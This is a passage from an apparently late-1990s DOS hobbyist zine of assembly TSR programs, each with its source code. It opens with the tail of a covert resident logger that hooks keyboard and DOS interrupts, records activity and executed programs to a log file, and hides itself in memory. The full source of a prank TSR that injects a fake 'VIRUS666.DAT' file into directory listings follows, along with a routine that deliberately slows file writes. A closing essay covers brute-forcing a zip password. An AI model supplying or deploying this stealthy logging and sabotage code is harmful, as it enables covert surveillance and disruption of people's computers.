jbe prepdump ;13 : Delete file (FCB)
;14 : Read from file (FCB)
;15 : Write to file (FCB)
;16 : Create file (FCB)
cmp ah, 39h
je prepdump ;39 : Create subdirectory
cmp ah, 3ah
je prepdump ;3A : Remove subdirectory
cmp ah, 3ch
je prepdump ;3C : Create/Truncate file (handle)
cmp ah, 3dh
je prepdump ;3D : Open file (handle)
cmp ah, 3fh
je checkhandle ;3F : Read from file (handle)
cmp ah, 40h
je checkhandle ;40 : Write to file (handle)
cmp ah, 41h
je prepdump ;41 : Delete file (handle)
cmp ah, 4bh
je recordname ;4B : Execute/Overlay
cmp ah, 4ch
je prepdump ;4C : Terminate w/return code
cmp ah, 6ch
jne exit21 ;6C : Extended open/create file
prepdump:
call bufferdump ;Dump buffer
exit21:
call dword ptr cs:[oldint21] ;Do original int 21h
pushf
push bp
mov bp, sp
push ax
mov al, [bp + 9]
and al, 00000010b
or [bp + 3], al
mov ax, [bp + 2]
mov [bp + 8], ax ;Save caller's interrupt enable flag status
pop ax
pop bp
popf
mov byte ptr cs:[int21flag], 0 ;Reset int 21h progress flag
cmp byte ptr cs:[dumpflag], 1 ;Is dump requested?
jne iret21 ;If not, exit
call bufferdump ;Dump buffer
iret21:
iret ;Return to caller
checkhandle:
cmp bx, 4 ;Is the handle standard?
ja prepdump ;If not, go dump the buffer
jmp short exit21 ;If it is, exit
recordname:
call bufferdump ;Dump the buffer
call recordexec ;Save the filename
jmp short exit21 ;Exit
bufferdump proc near
cmp word ptr cs:[buffersize], 0 ;If the buffer is empty,
je returnhome ;then don't bother
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov ax, 3d01h ;Write access
mov dx, offset filename
call simint21 ;Open the log file
jc trymakingfile ;If error, create log file
jmp short movetoend
trymakingfile:
mov ah, 3ch
mov cx, 00100110b
call simint21 ;Create the file
jc donerecording ;If error, abort
movetoend:
mov bx, ax
mov ax, 4202h
xor cx, cx
xor dx, dx
call simint21 ;Move to the end of the file
mov ah, 40h
mov cx, [buffersize]
mov dx, offset buffer
call simint21 ;Write the buffer
mov ah, 3eh
call simint21 ;Close the buffer
donerecording:
mov byte ptr [dumpflag], 0 ;Reset the buffer full flag
mov word ptr [buffersize], 0 ;Set the buffer size to 0
pop ds
pop dx
pop cx
pop bx
pop ax
returnhome:
retn
bufferdump endp
recordexec proc near
;push stuff
push bp ;[bp]
mov bp, sp
push ax ;[bp - 2]
push bx ;[bp - 4]
push cx ;[bp - 6]
push ds ;[bp - 8] ;Notice DS and DX are switched
push dx ;[bp - 10]
push es ;[bp - 12]
push si ;[bp - 14]
push di ;[bp - 16]
push cs
pop ds
mov ax, 3d01h ;Write access
mov dx, offset filename
call simint21 ;Open the log file
jc trymakingfile2 ;If error, create log file
jmp short movetoend2
trymakingfile2:
mov ah, 3ch
mov cx, 00100110b
call simint21 ;Create log file
jnc movetoend2 ;If no error, move ptr
jmp donerecording2 ;Abort
movetoend2:
mov bx, ax
mov ax, 4202h
xor cx, cx
xor dx, dx
call simint21 ;Move ptr to end of file
mov ah, 2ah
call simint21 ;Get system date
mov al, dh
mov si, offset themonth
call writetwodigit ;Put month in buffer
mov al, dl
mov si, offset theday
call writetwodigit ;Put day in buffer
sub cx, 1900
cmp cx, 100
jb doitnow
sub cx, 100
doitnow:
mov al, cl
mov si, offset theyear
call writetwodigit ;Put year in buffer
mov ah, 2ch
call simint21 ;Get system time
mov al, ch
mov si, offset thehour
call writetwodigit ;Put hour in buffer
mov al, cl
mov si, offset theminute
call writetwodigit ;Put minutes in buffer
mov al, dh
mov si, offset thesecond
call writetwodigit ;Put seconds in buffer
mov al, dl
mov si, offset thecentisecond
call writetwodigit ;Put centiseconds in buffer
mov ah, 40h
mov cx, offset tagtail - offset taghead
mov dx, offset taghead
call simint21 ;Write buffer
lds dx, [bp - 10]
push ds
pop es
mov di, dx
mov cx, 0ffffh
cld
mov al, 0
repne scasb
inc cx
mov ah, 40h
not cx ;Calculate length of filename
call simint21 ;Write filename
mov cx, offset endtag - offset tagtail
mov dx, offset tagtail
mov ah, 40h
push cs
pop ds
call simint21 ;Write tail for EXEC logging
mov ah, 3eh
call simint21 ;Close file
donerecording2:
pop di
pop si
pop es
pop dx
pop ds
pop cx
pop bx
pop ax
pop bp
retn
recordexec endp
writetwodigit proc near
push ax
push dx
mov dl, 10
mov ah, 0
div dl ;Convert number to two digits
add ax, 3030h
mov [si], ax ;Save digits
pop dx
pop ax
retn
writetwodigit endp
simint21 proc near
pushf
call dword ptr cs:[oldint21] ;Simulate INT 21h instruction
retn
simint21 endp
initialize: ;Standard TSR engine
cld ;See issue 001 for details
push ds
xor ax, ax
mov ds, ax
mov si, 16h * 4
mov di, offset oldint16
cli
movsw
movsw
mov si, 20h * 4
movsw
movsw
movsw
movsw
sti
pop ds
;let's see if we can load into upper memory...
mov cx, offset initialize - offset thedata
shr cx, 4
inc cx
mov ax, cs
dec ax
mov es, ax
mov ds:[100h], es
keepgoing1:
mov ax, es:[3]
mov bx, es
add ax, bx
inc ax
mov es, ax
cmp byte ptr es:[0], 'M'
je valid1
cmp byte ptr es:[0], 'Z'
jne failed
mov ds:[100h], es
valid1:
cmp ax, 0a000h
jb keepgoing1
keepgoing2:
mov al, es:[0]
cmp al, 'M'
je donevalidcheck
cmp al, 'Z'
je checkitout
failed:
mov es, ds:[100h]
jmp short goresident
failed2:
mov es, ds:[100h]
mov byte ptr ds:[100h], 'M'
mov word ptr ds:[101h], 8
mov ax, es
add ax, es:[3]
inc ax
mov ds, ax
mov bx, ds:[3]
push cs
pop ds
add bx, cx
mov ds:[103h], bx
sub es:[3], cx
inc cx
jmp short goresident2
donevalidcheck:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
jmp short keepgoing2
checkitout:
mov ax, es:[1]
test ax, ax
jnz failed2
mov ax, es:[3]
cmp ax, cx
jb failed2
;we'll load into memory and hide
goresident:
mov byte ptr ds:[100h], 'H'
mov word ptr ds:[101h], 7965h ; 'ey' in memory
mov word ptr ds:[103h], 2021h ; '! ' in memory
inc cx
sub es:[3], cx
goresident2:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
mov si, 100h
xor di, di
shl cx, 1
shl cx, 1
shl cx, 1
rep movsw
sub ax, 10h
xor bx, bx
mov ds, bx
cli
mov ds:[16h * 4], offset tsr16
mov ds:[16h * 4 + 2], ax
mov ds:[20h * 4], offset tsr20
mov ds:[20h * 4 + 2], ax
mov ds:[21h * 4], offset tsr21
mov ds:[21h * 4 + 2], ax
;terminate
call dword ptr cs:[oldint20]
code ends
end start
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
------------------------------------------------------------------------------
Phantom File TSR #007
----------------
> Introduction <
As of the time I am writing this, I have not yet written this TSR. The idea I
am thinking of is a TSR that occasionally returns non-existant files during
find first/next calls. There are three sets of find first/next calls that can
be intercepted. There are FCBs, regular ASCIIZ filename calls, and Win95
calls. I won't cover the last one, since I don't have Win95 to test it on
(I'll upgrade when I get a new hard drive, if that ever happens). This
shouldn't be a hard program to write. I think that I won't intercept the
initial find first call, because if I return a fake file name that time, then
the find/next call that follows it will not have been initialized by the find
first call. The TSR will intercept Int 21/12 and Int 21/4F calls. If the
random number generator does not return the magic number, then control will be
passed to the original Int21 handler. If the magic number is returned, then a
fake file will be passed back without ever calling the original Int21 handler.
> More details <
The Int 21/12 call points to an FCB which is used throughout the search. The
function returns an FCB containing the file set up in the DTA. A pointer to
the DTA can be obtained from Int 21/2F. If the current drive is needed, this
can be obtained from Int 21/19. The attribute will always be 00.
The Int 21/4F call is easy to spoof. However, the Int 21/4E call must be
intercepted so that the search attribute can be obtained. This pair of calls
returns more detailed information than Int 21/12. The file's date, time, and
size are returned. Once again, the file's attributes will always be 00.
> The source code <
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
.8086
code segment byte public
assume cs:code, ds:code
org 100h
sizelo = 02c2ah
sizehi = 0ah ;Filesize = 666,666
filetime = 30c3h ;06:06:06
filedate = 34c6h ;06/06/2006
odds = 50 ;The probability is equal to 1 / odds
start:
jmp initialize
nop
nop
tag db 'phasm 12/97'
thedata:
oldint dw 0, 0
tsr:
cmp ah, 12h ;FCB find next
je fcbfind
cmp ah, 4fh ;ASCIIZ find next
je
asciizfind
continuechain:
jmp dword ptr cs:[oldint] ;Continue int21 chain
asciizfind:
push ax
push bx
push dx ;Save registers
call getrandom ;Get a random number
mov ax, bx
xor dx, dx
mov bx, odds
div bx ;DX = random number 0 to odds - 1
test dx, dx
jnz noasciizfun ;If DX not 0, then don't spoof
push cx
push ds
push si
push es
push di ;Save more registers
mov ah, 2fh
call simint21 ;Get DTA address
lea di, [bx + 15h] ;Get offset of non-reserved area
mov al, 0 ;Attributes = 00
cld
stosb ;Save attribute
mov ax, filetime
stosw ;Save file time
mov ax, filedate
stosw ;Save file date
mov ax, sizelo
stosw ;Save lo word of size
mov ax, sizehi
stosw ;Save hi word of size
push cs
pop ds
mov si, offset fakefile
mov cx, 13
rep movsb ;Move fake ASCIIZ filename
pop di
pop es
pop si
pop ds
pop cx
pop dx
pop bx
pop ax ;Restore registers
push bp
mov bp, sp
and byte ptr [bp + 6], 0feh ;Clear carry flag
pop bp
xor ax, ax ;Not documented, but Int 21/4F
;returns AX = 0 after successful call
iret
noasciizfun:
pop dx
pop bx
pop ax ;Restore registers
jmp short continuechain ;Continue int21 chain
fcbfind:
push ax ;[bp + 6]
push bx ;[bp + 4]
push dx ;[bp + 2] ;Save registers
call getrandom ;Get random number
mov ax, bx
xor dx, dx
mov bx, odds
div bx ;DX = random number 0 to odds - 1
test dx, dx
jnz nofcbfun ;If DX not 0, then don't spoof
push bp ;[bp]
mov bp, sp ;Set up stack frame
push ds
push si
push es
push di ;Save more registers
mov ah, 2fh
call simint21 ;Get DTA address
mov si, [bp + 2] ;Get old DX and put in SI
cmp byte ptr [si], 0ffh ;Is it an extended FCB?
jne makeitfake ;If not, skip next few instructions
mov word ptr es:[bx], 00ffh ;Create extended FCB
mov word ptr es:[bx + 2], 0
mov word ptr es:[bx + 4], 0 ;Create reserved area
mov byte ptr es:[bx + 6], 0 ;Save new attributes
add bx, 7 ;Shift FCB's offset so the next
add si, 7 ;routine can handle it like reg FCB
makeitfake:
cld
mov di, bx
mov al, [si]
test al, al ;Searching "default drive"?
jnz savedrive ;If not, skip next instructions
mov ah, 19h
call simint21 ;Get default drive
inc al ;Adjust value
savedrive:
stosb ;Save drive number
push cs
pop ds
mov si, offset fakefile
movsw
movsw
movsw
movsw ;Move fake file's main name
inc si
movsw
movsb ;Move fake file's extension
mov al, 0
stosb ;Save fake attributes
add di, 10
mov ax, filetime
stosw ;Save fake time
mov ax, filedate
stosw ;Save fake date
inc di
inc di
mov ax, sizelo
stosw
mov ax, sizehi
stosw ;Save fake file size
pop di
pop es
pop si
pop ds
pop bp
pop dx
pop bx
pop ax ;Restore registers
mov al, 0 ;Signal successful search
iret
abortfcbfun:
pop di
pop es
pop si
pop ds
pop bp
nofcbfun:
pop dx
pop bx
pop ax ;Restore registers
jmp dword ptr cs:[oldint] ;Continue int21 chain
fakefile db 'VIRUS666.DAT', 0 ;Fake filename
simint21 proc near
pushf ;Push flags
call dword ptr cs:[oldint] ;FAR call to simulate INT call
retn
simint21 endp
;returns bx
getrandom proc near ;My standard random number generator
push ds
push ax
push cx
mov ax, cs
mov ds, ax
mov ax, [seedhigh]
mov bx, [seedlow]
not ax
not bx
ror ax, 2
rol bx, 1
xor ax, [seedlow]
xor bx, [seedhigh]
mov cx, [counter]
ror cx, cl
xor cx, [counter]
adc ax, cx
rol bx, cl
mov [seedhigh], ax
mov [seedlow], bx
inc word ptr [counter]
pop cx
pop ax
pop ds
retn
getrandom endp
seedhigh dw 0
seedlow dw 0
counter dw 0
initialize: ;And the standard TSR loader
call initrandom ;Initialize random number generator
cld
push ds
xor ax, ax
mov ds, ax
mov si, 21h * 4
mov di, offset oldint
cli
movsw
movsw
sti
pop ds
;let's see if we can load into upper memory...
mov cx, offset initialize - offset thedata
shr cx, 4
inc cx
mov ax, cs
dec ax
mov es, ax
mov ds:[100h], es
keepgoing1:
mov ax, es:[3]
mov bx, es
add ax, bx
inc ax
mov es, ax
cmp byte ptr es:[0], 'M'
je valid1
cmp byte ptr es:[0], 'Z'
jne failed
mov ds:[100h], es
valid1:
cmp ax, 0a000h
jb keepgoing1
keepgoing2:
mov al, es:[0]
cmp al, 'M'
je donevalidcheck
cmp al, 'Z'
je checkitout
failed:
mov es, ds:[100h]
jmp short goresident
failed2:
mov es, ds:[100h]
mov byte ptr ds:[100h], 'M'
mov word ptr ds:[101h], 8
mov ax, es
add ax, es:[3]
inc ax
mov ds, ax
mov bx, ds:[3]
push cs
pop ds
add bx, cx
mov ds:[103h], bx
sub es:[3], cx
inc cx
jmp short goresident2
donevalidcheck:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
jmp short keepgoing2
checkitout:
mov ax, es:[1]
test ax, ax
jnz failed2
mov ax, es:[3]
cmp ax, cx
jb failed2
;we'll load into memory and hide
goresident:
mov byte ptr ds:[100h], 'H'
mov word ptr ds:[101h], 7965h ; 'ey' in memory
mov word ptr ds:[103h], 2021h ; '! ' in memory
inc cx
sub es:[3], cx
goresident2:
mov ax, es
add ax, es:[3]
inc ax
mov es, ax
mov si, 100h
xor di, di
shl cx, 1
shl cx, 1
shl cx, 1
rep movsw
sub ax, 10h
xor bx, bx
mov ds, bx
cli
mov ds:[21h * 4], offset tsr
mov ds:[21h * 4 + 2], ax
;terminate
int 20h
initrandom proc near ;Initializer won't be TSRed
push ax
push cx
push dx
xor ah, ah
int 1ah
mov cs:[seedhigh], cx
mov cs:[seedlow], dx
pop dx
pop cx
pop ax
retn
initrandom endp
code ends
end start
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
------------------------------------------------------------------------------
Slow Writer #008
-----------
> Introduction <
This TSR hooks the DOS write-to-file function (AH = 40h) and breaks the write
up into a series of 1 byte writes. This seriously slows down any attempts to
write to a file. Only the main routine is shown here; the TSR engine is not
included here (you can find it in several of the other articles). The loader
hooks int 21h, so you should be able to finish this. Well, here's the source
code.
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
.8086
code segment byte public
assume cs:code, ds:code
org 100h
start:
jmp initialize
nop
nop
tag db 'phasm 12/97'
thedata:
oldint dw 0, 0
tsr:
cmp ah, 40h
jne exittsr
push cx
push dx
push si
push di
mov si, cx
mov di, cx
mov cx, 1
looper:
test si, si
jz donewrite
pushf
call dword ptr cs:[oldint]
jc penny
dec si
inc dx
mov ah,40h
jmp short looper
penny:
cmp si, di
je returnerror
donewrite:
sub di, si
mov ax, di
pop di
pop si
pop dx
pop cx
clc
retf 2
returnerror:
pop di
pop si
pop dx
pop cx
stc
retf 2
exittsr:
jmp dword ptr cs:[oldint]
initialize:
;Put the standard TSR engine here and hook Int 21h
<- - - - - - - - - - - - - - - - - CUT HERE - - - - - - - - - - - - - - - - ->
------------------------------------------------------------------------------
Some thoughts on background processing #009
--------------------------------------
Recently I helped a friend crack a zip file by taking the C source code for a
zip cracker and rewriting it to guess passwords w/o a dictionary, and
optimizing it with some assembly. Cracking by guessing requires a lot of time
to get anywhere, and it's annoying to have to sit and wait. On my DX2/66
using four character passwords, I got around 24,000 passwords guessed per
second. It sounded like a large number, but when compared to the number of
possible passwords, it's pretty small. I was using a 91 character set for
guessing, so for four character passwords, there are 68,574,961 possible
passwords, which would require around 47 minutes of computing. For five
character passwords there are 6,240,321,451 possible passwords, which works
out to be over two straight days of number crunching.
Eventually the password was cracked, but I later thought about making a TSR
that sat in the background and worked out stuff like this. It would take
longer, but it would be a lot more convenient. Such a program should not slow
the computer down significantly, and should work both in Windows and DOS.
What interrupts and services would it hook? While in DOS, any key requests
such as Int 16/00/10/20 can alternately do background computing and check if a
key is ready. Int 1C calls can be intercepted, and depending on your
computer, you could specify how much time to spend computing during each clock
tick. Another possibility is that during DOS requests for characters or
strings from the keyboard, the amount of computing done during Int 1C calls
could be increased. Periodically, the program could save its results so that
if the computer crashed or was turned off without warning, it could pick up
where it last left off.
Anyway, I hope this has given someone some ideas. I don't really plan on
making such a program any time soon, because I usually don't need to do any
background number crunching. Maybe something besides number crunching could
be done, such as searching for files, or tracking the amount of free space
left. I'm sure there's something useful to be done (gasp!).